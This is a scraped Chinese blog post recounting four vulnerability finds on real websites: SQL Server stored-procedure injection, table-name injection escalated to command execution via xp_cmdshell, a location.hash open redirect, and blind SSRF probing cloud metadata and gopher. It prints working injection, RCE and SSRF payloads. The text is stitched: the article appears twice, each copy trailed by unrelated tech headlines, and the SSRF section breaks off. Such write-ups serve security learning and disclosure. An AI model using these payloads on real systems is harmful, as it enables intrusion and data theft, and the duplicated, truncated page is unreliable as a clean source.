四个有趣的真实漏洞挖掘案例
0x00 前言
好久没写真实漏洞挖掘案例了，今天写一笔。直接发漏洞细节很生硬，大家也学不到什么，只有带入感情，留下笔者的想法，才能产生共鸣，真正的帮助到别人。
四个漏洞描述顺序：
存储过程sql注入；table头注入；通用的url跳转；盲ssrf漏洞；
0x01 存储过程sql注入
首先我先介绍我近期挖到的第一个漏洞：sql server exec存储过程处 sql injection。
这是我在挖国外遇到的一个网站，遇到的一个真实案例，一个后台的某个功能点，存在存储过程sql注入，使用单引号测试，发现他报错了。
error:[microsoft][odbc sql server driver][sql server]procedure or function 'proc_*' expects parameter '@linked', which was not supplied.
这个报错很特别，和我平时看到的sql server报错信息不一样，我第一时间去谷歌搜索了下这个报错信息，很快就找到了一篇文章。
https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied
stackoverflow查看网站报错信息真的很方便，很方便帮我们判断使用了哪些技术. 虽然我英语很差，但是谷歌浏览器自带的翻译功能就够了，很快我就知道这是个sql server的存储过程报错。
话说回来，不通过谷歌搜索报错语句，通过单引号报错，其实就可能猜出来个大概。
我还是很常规的测试，因为报错了，所以我企图用最简单的方法让其报错出user/database等，尝试poc：
'and 1>user and'1'='1'and user<0 and '1'='1等
发现没有出user，甚至仍然报错，其实这是正常的。后续测试发现，只要我在后面添加内容，他就会一直报错...，他好像不允许添加过多的注入payload
我开始从报错注入，转为布尔类型注入测试：
'and iif(user like '%25',1,1) and'1'='1
类似这样的payload，结局是泪目的，语句又是各种报错。我发现不能再这样搞了，这样搞的话思路肯定不对。
先从理解sql报错信息开始，理解存储过程，sql server的存储过程的语法是这样的：
exec 任意语句 / exec 'sql语句'
它本身其实不需要任何单引号的闭合，因为它不是字符串类型注入，重新调整测试，测试就是学习的过程，再次上payload：
13 if(substring(db_name(),1,1)='*')waitfor delay'03'
一顿fuzz，延时3s：
说明我的这个poc没有问题，一开始踩了一个坑，一个认知问题，惯性思维导致的错误。
mysql下的if：if(条件,结果1,结果2)sql server下的if：if(条件) 结果 else (结果)
这里误以为sql server的if也是和mysql的if使用一样，其实完全不一样，sql server等同mysql if函数的是iif函数.
我们知道，sql server报错有个很爽的技巧就是基于类型错误：int+varchar，尝试报错出db_name()。
报错注入poc：
13 if(1=0/db_name())waitfor delay'01' 至此，这个注入算搞定了，我可以提交了。
0x02 table头注入
第二个分享的案例仍然是注入，sql server table头注入，有意思的地方在于rce处，利用一个sql server特性我rce了它。
某天我挖一个站，发现一个功能点存在注入，是那种很常规的注入，通过查看js，我发现了一个接口：
https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点} 我看到了table参数，我觉得这可能是sql server table头注入，这是经常做安全测试的一种直觉，我直接输入了sysobject，他给我大量返回了信息:
我很惊喜，那么它代码的实现很大可能是：select * from {可控点} 那么我可以做的事情变得很多很多，这个注入利用成本很低，我觉得他就是个任意sql语句执行漏洞。
我尝试rce，为了再次确定他是表头注入，我尝试在可控点处添加where等条件语句，尝试payload。
sysobjects where xtype='u' #查询数据库中的所有表名
很幸运，没任何报错，直接响应了。 我开始尝试rce，我们都知道sql server rce的条件是需要支持堆叠，我尝试;waitfor delay '03';直接给我报错了，那么大概率可能不支持堆叠查询
不过这个注入点非常特别，是表头注入，它满足一定的条件，即使不支持堆叠，只要权限够高，我们也可以rce。
先开启xp_cmdshell扩展：
sysobjects+select+1+if+1%3d1+execute('exec+sp_configure+''show+advanced+options'',+1%3breconfigure%3bexec+sp_configure+''xp_cmdshell'',+1%3breconfigure%3b') 执行命令：
sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+whoami') 直接页面显示了whoami信息：
我是幸运的，很快，我就提交了漏洞给相关厂商。
因为是表头注入，所以不需要堆叠了，因为sql server的select支持 select x select x
sql server容错率很强大，不同类型在一起不会报错，会做自动区分。
第二个漏洞分享结束，开始第三个url跳转漏洞分享。
0x03 通用的url跳转
其实有时候，运气不是总是很好，漏洞也很难挖，连续好几天，我都没挖到漏洞，我在那边胡乱看着，瞎点着。
有一个站引起了我的兴趣，他的注册接口是这样的。https://*/sss/yyyy?returnurl=https://*/#/xxxx/xxx 我对url参数比较敏感，通常我会测试ssrf/xss，即使他大概率不存在，我也会测试下，很显然，半自动化工具没有发现任何ssrf和xss漏洞。
我注册了一个账号，我尝试登录，它告诉我，我的账号需要审核，我尝试绕过，我也没有绕过它。
我发现我没发现漏洞了，那我就随便看看吧，我都不抓包了，右键查看源代码，发现了这么一段代码，以前我就经常做js代码审计，这段代码我不会陌生。
if(location.hash){location=https://hostname+location.hash.substring(1);} 稍微学过一点js的也不会陌生，不过我们还是要走一遍基础的测试流程，它使用 location.hash.* 去传递参数。
这个就是锚点符，常用于站内url跳转，记录#/后面的内容，其实这里的本意是做站内url跳转用的，不过这里没在hostname结尾处加/这个字符串，导致可以任意跳转。
我们简单测试下：
那么如果我们想任意url跳转怎么办？？？
只需要让location.hash.substring(1)变成另一个我们的域名即可，构造poc如下：http://example.com/#.dnslog.cn 他会直接跳转出信任域，实现任意页面url跳转 除了这样还可以通过 @domain 去跳转到第三方网站，更加方便！！！
他的修复方案也很简单:
if(location.hash){location=https://hostname/+location.hash.substring(1);} 至此第三个漏洞就分享完了。
0x04 盲ssrf漏洞
现在分享最后一个漏洞，就是盲的ssrf漏洞。前面我说过，我看到url参数，我就会尝试下ssrf/xss漏洞，这里我发现了一个图片加载功能，存在ssrf。首先在分享ssrf实战案例之前，先分享个ssrf安全测试圣经：https://github.com/cujanovic/ssrf-testing github上提供的测试用例：
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg 如果想探测是否开放gopher，又不想触发waf怎么做？
https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg 这个url地址是可以变化的，测试什么协议就变成什么协议，其他测试样本不再举例，类似的，都可以随意转换
这里尝试301跳转：
dnslog成功收到请求，注意user-agent，是libwww，perl的一个请求依赖库：get / http/1.1te: deflate,gzip;q=0.3connection: te, closehost: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.netuser-agent: imagevacuum/2.3.10 libwww-perl/6.57 使用上面的思路，测试下敏感协议，gopher协议： 有反应，说明大概率是支持gopher协议的，那么它到底支持不支持呢？
通过查看github libwww代码，就可以得到答案，他支持这些协议，其中包含gopher协议。
这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务，这个点到此为止。
下面继续科普下盲的ssrf怎么探测？因为一般信息收集不全的情况下，我们没什么内网ip地址，那么我们怎么证明是盲ssrf呢？
本地ip:存在端口 vs 本地ip:大概率不存在的端口 25端口提示我图片类型不对：
rfid电子标签无源高频NFC标签
dsp28335例程pwm讲解
中科科技冲击高端隔膜市场
针对Google Wifi路由器出现连接频繁中断问题 谷歌提出临时修复方案
低温试验检查测试低温环境对仪器仪表的影响
四个有趣的真实漏洞挖掘案例
串行FRAM存储器CY15B104Q-LHXI的功能特点
奔驰母公司戴姆勒集团计划2020年推出无人驾驶汽车
手机颜色大战，华为荣耀9知更鸟蓝、OPPOR11的巴萨限定版、三星s8粉色版谁更能打动你
铵泰克已成功发布了多款自主可控网络安全平台
大量的科技工作岗位将扩展到美国西海岸以外
智能无人作战力量的场景运用研究
LiNbO3选择性刻蚀的研究
锤子坚果Pro2评测 细节表现让人印象深刻
在智能制造装备市场中高端机床的发展趋势将会如何
微雪电子EP4C FPGA NIOSII开发板简介
费浦安防二维码识别及产品解决方案
关于单片机C语言编程的常见问题解答
变频器开关电源维修七大步骤
Wind River赋予车载IVI娱乐系统软体Yocto架构优势
好久没写真实漏洞挖掘案例了，今天写一笔。直接发漏洞细节很生硬，大家也学不到什么，只有带入感情，留下笔者的想法，才能产生共鸣，真正的帮助到别人。
四个漏洞描述顺序：
存储过程sql注入；table头注入；通用的url跳转；盲ssrf漏洞；
0x01 存储过程sql注入
首先我先介绍我近期挖到的第一个漏洞：sql server exec存储过程处 sql injection。
这是我在挖国外遇到的一个网站，遇到的一个真实案例，一个后台的某个功能点，存在存储过程sql注入，使用单引号测试，发现他报错了。
error:[microsoft][odbc sql server driver][sql server]procedure or function 'proc_*' expects parameter '@linked', which was not supplied.
这个报错很特别，和我平时看到的sql server报错信息不一样，我第一时间去谷歌搜索了下这个报错信息，很快就找到了一篇文章。
https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied
stackoverflow查看网站报错信息真的很方便，很方便帮我们判断使用了哪些技术. 虽然我英语很差，但是谷歌浏览器自带的翻译功能就够了，很快我就知道这是个sql server的存储过程报错。
话说回来，不通过谷歌搜索报错语句，通过单引号报错，其实就可能猜出来个大概。
我还是很常规的测试，因为报错了，所以我企图用最简单的方法让其报错出user/database等，尝试poc：
'and 1>user and'1'='1'and user<0 and '1'='1等
发现没有出user，甚至仍然报错，其实这是正常的。后续测试发现，只要我在后面添加内容，他就会一直报错...，他好像不允许添加过多的注入payload
我开始从报错注入，转为布尔类型注入测试：
'and iif(user like '%25',1,1) and'1'='1
类似这样的payload，结局是泪目的，语句又是各种报错。我发现不能再这样搞了，这样搞的话思路肯定不对。
先从理解sql报错信息开始，理解存储过程，sql server的存储过程的语法是这样的：
exec 任意语句 / exec 'sql语句'
它本身其实不需要任何单引号的闭合，因为它不是字符串类型注入，重新调整测试，测试就是学习的过程，再次上payload：
13 if(substring(db_name(),1,1)='*')waitfor delay'03'
一顿fuzz，延时3s：
说明我的这个poc没有问题，一开始踩了一个坑，一个认知问题，惯性思维导致的错误。
mysql下的if：if(条件,结果1,结果2)sql server下的if：if(条件) 结果 else (结果)
这里误以为sql server的if也是和mysql的if使用一样，其实完全不一样，sql server等同mysql if函数的是iif函数.
我们知道，sql server报错有个很爽的技巧就是基于类型错误：int+varchar，尝试报错出db_name()。
报错注入poc：
13 if(1=0/db_name())waitfor delay'01' 至此，这个注入算搞定了，我可以提交了。
0x02 table头注入
第二个分享的案例仍然是注入，sql server table头注入，有意思的地方在于rce处，利用一个sql server特性我rce了它。
某天我挖一个站，发现一个功能点存在注入，是那种很常规的注入，通过查看js，我发现了一个接口：
https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点} 我看到了table参数，我觉得这可能是sql server table头注入，这是经常做安全测试的一种直觉，我直接输入了sysobject，他给我大量返回了信息:
我很惊喜，那么它代码的实现很大可能是：select * from {可控点} 那么我可以做的事情变得很多很多，这个注入利用成本很低，我觉得他就是个任意sql语句执行漏洞。
我尝试rce，为了再次确定他是表头注入，我尝试在可控点处添加where等条件语句，尝试payload。
sysobjects where xtype='u' #查询数据库中的所有表名
很幸运，没任何报错，直接响应了。 我开始尝试rce，我们都知道sql server rce的条件是需要支持堆叠，我尝试;waitfor delay '03';直接给我报错了，那么大概率可能不支持堆叠查询
不过这个注入点非常特别，是表头注入，它满足一定的条件，即使不支持堆叠，只要权限够高，我们也可以rce。
先开启xp_cmdshell扩展：
sysobjects+select+1+if+1%3d1+execute('exec+sp_configure+''show+advanced+options'',+1%3breconfigure%3bexec+sp_configure+''xp_cmdshell'',+1%3breconfigure%3b') 执行命令：
sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+whoami') 直接页面显示了whoami信息：
我是幸运的，很快，我就提交了漏洞给相关厂商。
因为是表头注入，所以不需要堆叠了，因为sql server的select支持 select x select x
sql server容错率很强大，不同类型在一起不会报错，会做自动区分。
第二个漏洞分享结束，开始第三个url跳转漏洞分享。
0x03 通用的url跳转
其实有时候，运气不是总是很好，漏洞也很难挖，连续好几天，我都没挖到漏洞，我在那边胡乱看着，瞎点着。
有一个站引起了我的兴趣，他的注册接口是这样的。https://*/sss/yyyy?returnurl=https://*/#/xxxx/xxx 我对url参数比较敏感，通常我会测试ssrf/xss，即使他大概率不存在，我也会测试下，很显然，半自动化工具没有发现任何ssrf和xss漏洞。
我注册了一个账号，我尝试登录，它告诉我，我的账号需要审核，我尝试绕过，我也没有绕过它。
我发现我没发现漏洞了，那我就随便看看吧，我都不抓包了，右键查看源代码，发现了这么一段代码，以前我就经常做js代码审计，这段代码我不会陌生。
if(location.hash){location=https://hostname+location.hash.substring(1);} 稍微学过一点js的也不会陌生，不过我们还是要走一遍基础的测试流程，它使用 location.hash.* 去传递参数。
这个就是锚点符，常用于站内url跳转，记录#/后面的内容，其实这里的本意是做站内url跳转用的，不过这里没在hostname结尾处加/这个字符串，导致可以任意跳转。
我们简单测试下：
那么如果我们想任意url跳转怎么办？？？
只需要让location.hash.substring(1)变成另一个我们的域名即可，构造poc如下：http://example.com/#.dnslog.cn 他会直接跳转出信任域，实现任意页面url跳转 除了这样还可以通过 @domain 去跳转到第三方网站，更加方便！！！
他的修复方案也很简单:
if(location.hash){location=https://hostname/+location.hash.substring(1);} 至此第三个漏洞就分享完了。
0x04 盲ssrf漏洞
现在分享最后一个漏洞，就是盲的ssrf漏洞。前面我说过，我看到url参数，我就会尝试下ssrf/xss漏洞，这里我发现了一个图片加载功能，存在ssrf。首先在分享ssrf实战案例之前，先分享个ssrf安全测试圣经：https://github.com/cujanovic/ssrf-testing github上提供的测试用例：
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg 如果想探测是否开放gopher，又不想触发waf怎么做？
https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg 这个url地址是可以变化的，测试什么协议就变成什么协议，其他测试样本不再举例，类似的，都可以随意转换
这里尝试301跳转：
dnslog成功收到请求，注意user-agent，是libwww，perl的一个请求依赖库：get / http/1.1te: deflate,gzip;q=0.3connection: te, closehost: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.netuser-agent: imagevacuum/2.3.10 libwww-perl/6.57 使用上面的思路，测试下敏感协议，gopher协议： 有反应，说明大概率是支持gopher协议的，那么它到底支持不支持呢？
通过查看github libwww代码，就可以得到答案，他支持这些协议，其中包含gopher协议。
这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务，这个点到此为止。
下面继续科普下盲的ssrf怎么探测？因为一般信息收集不全的情况下，我们没什么内网ip地址，那么我们怎么证明是盲ssrf呢？
本地ip:存在端口 vs 本地ip:大概率不存在的端口 25端口提示我图片类型不对：
rfid电子标签无源高频NFC标签
dsp28335例程pwm讲解
中科科技冲击高端隔膜市场
针对Google Wifi路由器出现连接频繁中断问题 谷歌提出临时修复方案
低温试验检查测试低温环境对仪器仪表的影响
四个有趣的真实漏洞挖掘案例
串行FRAM存储器CY15B104Q-LHXI的功能特点
奔驰母公司戴姆勒集团计划2020年推出无人驾驶汽车
手机颜色大战，华为荣耀9知更鸟蓝、OPPOR11的巴萨限定版、三星s8粉色版谁更能打动你
铵泰克已成功发布了多款自主可控网络安全平台
大量的科技工作岗位将扩展到美国西海岸以外
智能无人作战力量的场景运用研究
LiNbO3选择性刻蚀的研究
锤子坚果Pro2评测 细节表现让人印象深刻
在智能制造装备市场中高端机床的发展趋势将会如何
微雪电子EP4C FPGA NIOSII开发板简介
费浦安防二维码识别及产品解决方案
关于单片机C语言编程的常见问题解答
变频器开关电源维修七大步骤
Wind River赋予车载IVI娱乐系统软体Yocto架构优势